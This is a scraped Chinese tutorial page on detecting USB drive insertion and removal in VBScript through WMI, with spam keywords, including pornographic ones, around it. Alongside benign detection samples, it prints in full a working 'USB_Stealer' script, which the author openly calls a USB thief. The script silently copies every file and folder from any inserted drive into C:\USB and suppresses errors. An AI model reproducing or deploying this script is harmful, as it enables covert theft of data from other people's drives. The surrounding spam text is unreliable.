婷婷综合国产,91蜜桃婷婷狠狠久久综合9色 ,九九九九九精品,国产综合av

主頁 > 知識庫 > 用VBS檢測U盤插入與彈出事件的代碼

用VBS檢測U盤插入與彈出事件的代碼

熱門標簽:加盟電銷機器人好的品牌 外呼營銷下單系統 打電話的外呼系統貴不貴 辦理膠州400電話財稅 新密防封卡外呼系統違法嗎 百度地圖標注怎么卸載 海外美發店地圖標注 前鋒辦理400電話申請 陜西高頻外呼回撥系統哪家好
可以說,對WMI的掌握程度的多少直接決定了你的VBS水平高低??催^網上普遍流傳VBS版U盤小偷程序,基本上都是靠無限循環實現的,一點技術含量也沒有,文章的末尾給出了我寫的VBS版U盤小偷程序的下載地址。雖然用WMI也得無限循環,但是效率是不一樣的。

使用WMI的Win32_VolumeChangeEvent類就可以實現,下面是示例代碼,更詳細的信息請參考MSND文檔。

復制代碼 代碼如下:

Const Configuration_Changed = 1
Const Device_Arrival = 2
Const Device_Removal = 3
Const Docking = 4
strComputer = "."
Set objWMIService = GetObject("winmgmts:" _
"{impersonationLevel=impersonate}!\\" _
strComputer "\root\cimv2")
Set colMonitoredEvents = objWMIService. _
ExecNotificationQuery( _
"Select * from Win32_VolumeChangeEvent")
Do
Set objLatestEvent = colMonitoredEvents.NextEvent
Select Case objLatestEvent.EventType
Case Device_Arrival
WScript.Echo "U盤插入,盤符為" _
objLatestEvent.DriveName
Case Device_Removal
WScript.Echo "U盤彈出,盤符為" _
objLatestEvent.DriveName
End Select
Loop

我也寫了一個U盤小偷程序,自以為比網上抄來抄去的代碼要好,感興趣的可以下載來看看。
復制代碼 代碼如下:

'==========================================
'Name : USB_Stealer
'Date : 2010/5/25
'Author : Demon
'Copyright : Copyright (c) 2010 Demon
'E-Mail : still.demon@gmail.com
'QQ : 380401911
'Website : http://demon.tw
'==========================================
'Option Explicit
On Error Resume Next
Const Target_Folder = "C:\USB"

Call Main()

Sub Main()
On Error Resume Next
Const Device_Arrival = 2
Const Device_Removal = 3
Const strComputer = "."
Dim objWMIService, colMonitoredEvents, objLatestEvent

Set objWMIService = GetObject("winmgmts:" _
"{impersonationLevel=impersonate}!\\" _
strComputer "\root\cimv2")
Set colMonitoredEvents = objWMIService. _
ExecNotificationQuery( _
"Select * from Win32_VolumeChangeEvent")
Do
Set objLatestEvent = colMonitoredEvents.NextEvent
Select Case objLatestEvent.EventType
Case Device_Arrival
Copy_File objLatestEvent.DriveName
End Select
Loop
End Sub

Sub Copy_File(Folder_Path)
On Error Resume Next
Dim fso,file,folder
Set fso = CreateObject("scripting.filesystemobject")

If Not fso.FolderExists(Target_Folder) Then
fso.CreateFolder(Target_Folder)
End If

For Each file In fso.GetFolder(Folder_Path).Files
file.Copy Target_Folder "\" file.Name,True
Next

For Each folder In fso.GetFolder(Folder_Path).SubFolders
folder.Copy Target_Folder "\" folder.Name,True
Next
End Sub

鑒于很多人反映之前寫的那篇在XP下無效,做了一下修改。說是修改,其實是直接復制粘貼腳本專家的代碼。
復制代碼 代碼如下:

strComputer = "."
Set objWMIService = GetObject("winmgmts:\\" strComputer "\root\cimv2")

Set colEvents = objWMIService.ExecNotificationQuery _
("Select * From __InstanceOperationEvent Within 10 Where " _
"TargetInstance isa 'Win32_LogicalDisk'")

Do While True
Set objEvent = colEvents.NextEvent
If objEvent.TargetInstance.DriveType = 2 Then
Select Case objEvent.Path_.Class
Case "__InstanceCreationEvent"
Wscript.Echo "Drive " objEvent.TargetInstance.DeviceId _
" has been added."
Case "__InstanceDeletionEvent"
Wscript.Echo "Drive " objEvent.TargetInstance.DeviceId _
" has been removed."
End Select
End If
Loop

參考鏈接:How Can I Determine When a Removable Drive Gets Connected?
大家應該可以看出學習vbs的好地方是哪了, 學習vbs官方的網站不得不去,腳本之家很多的vbs相關的教材都是來自微軟官方的腳本專欄。
原文:http://demon.tw/programming/vbs-usb-insert-remove.html

標簽:河南 武威 伊春 四平 牡丹江 咸陽 梅州 阜陽

巨人網絡通訊聲明:本文標題《用VBS檢測U盤插入與彈出事件的代碼》,本文關鍵詞  用,VBS,檢測,盤,插入,與,;如發現本文內容存在版權問題,煩請提供相關信息告之我們,我們將及時溝通與處理。本站內容系統采集于網絡,涉及言論、版權與本站無關。
  • 相關文章
  • 下面列出與本文章《用VBS檢測U盤插入與彈出事件的代碼》相關的同類信息!
  • 本頁收集關于用VBS檢測U盤插入與彈出事件的代碼的相關信息資訊供網民參考!
  • 推薦文章
    主站蜘蛛池模板: 伽师县| 昌宁县| 吉水县| 大渡口区| 宁德市| 阿巴嘎旗| 霍邱县| 固安县| 五河县| 延庆县| 石阡县| 德清县| 育儿| 蓬溪县| 临夏市| 汝城县| 建宁县| 玉田县| 天气| 响水县| 邛崃市| 双鸭山市| 陵川县| 泸水县| 阜宁县| 治县。| 拜泉县| 常德市| 彭阳县| 南靖县| 八宿县| 赤水市| 五寨县| 札达县| 满洲里市| 怀集县| 五莲县| 左云县| 惠东县| 石河子市| 江阴市|